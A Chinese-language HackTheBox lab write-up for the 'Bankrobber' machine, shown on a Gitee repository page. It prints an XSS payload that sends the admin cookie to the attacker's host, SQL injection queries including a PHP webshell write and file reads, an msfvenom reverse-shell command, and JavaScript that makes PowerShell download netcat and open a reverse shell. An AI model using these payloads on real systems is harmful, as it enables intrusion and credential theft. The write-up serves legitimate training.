1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
bankrobber.md 3.60 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2022-06-17 21:00 . 修改文件路径

信息收集

端口扫描

sudo nmap -p- -n --open  10.10.10.154

PORT STATE SERVICE 80/tcp open http 443/tcp open https 445/tcp open microsoft-ds 3306/tcp open mysql

80和443是同一个站,注册登录发现是一个比特币交易站,还能转账

bankrobber-1

提示转账请求会被admin审核,再加上dirsearch扫目录发现存在admin目录。访问admin目录提示未登录无法访问

bankrobber3

那很明显了,xss打admin cookie

漏洞利用

插入

<img src=x onerror="this.src='http://10.10.14.5:8888/?'+document.cookie; this.removeAttribute('onerror');">

bankrobber2

替换cookies之后成功进入admin目录

bankrobber-4

在notes.txt中发现信息:

  • Move all files from the default Xampp folder: TODO
  • Encode comments for every IP address except localhost: Done
  • Take a break..

测试Backdoorchecker功能:要求访问来自本地,尝试伪造X-Forwarded-For绕过失败

测试search user功能存在sql注入问题

term=1'order by 4--+ 不正常确定列数为3
term=1'union select 1,database(),2--+ 得到数据库名bankrobber

bankrobber-5

根据现有信息尝试往xampp默认路径写入webshell

select 1,'<?php eval($_POST[a]);?>',3 INTO OUTFILE 'C:\\xampp\\htdocs\\wu.php'--+

写入失败(换sqlmap也没成功),应该是权限不够

bankrobber-6

但是构造路径读文件成功了

term=0' union select 1,load_file("C:\\xampp\\htdocs\\admin\\backdoorchecker.php"),3--+

bankrobber-7

得到backdoor功能的源码

<?php

include('../link.php');

include('auth.php');



$username = base64_decode(urldecode($_COOKIE['username']));

$password = base64_decode(urldecode($_COOKIE['password']));

$bad 	  = array('$(','&');

$good 	  = "ls";



if(strtolower(substr(PHP_OS,0,3)) == "win"){

	$good = "dir";

}



if($username == "admin" && $password == "Hopelessromantic"){

	if(isset($_POST['cmd'])){

			// FILTER ESCAPE CHARS

			foreach($bad as $char){

				if(strpos($_POST['cmd'],$char) !== false){

					die("You're not allowed to do that.");

				}

			}

			// CHECK IF THE FIRST 2 CHARS ARE LS

			if(substr($_POST['cmd'], 0,strlen($good)) != $good){

				die("It's only allowed to use the $good command");

			}



			if($_SERVER['REMOTE_ADDR'] == "::1"){

				system($_POST['cmd']);

			} else{

				echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";

			}

	}

} else{

	echo "You are not allowed to use this function!";

}

?>

看源码这个命令执行还是可以绕过的。

dir|cmd

但是一直过不了本地判定。。。。回想开头我们有个xss,xss构造一个post不就能触发了吗?!

先生成一个马

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe EXITFUNC=thread -o wu.exe

构造一个恶意js,放在python启的服务器上

var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.14.5/nc64.exe -outfile %temp%\\n.exe"; %temp%\\n.exe -e cmd.exe 10.10.14.5 443';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);

之前xss处插入

<img src=x onerror="this.src='http://10.10.14.5/xsrf,js?'; this.removeAttribute('onerror');">

几经尝试,重置靶机之后xss都没能触发。挺奇怪的。

马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助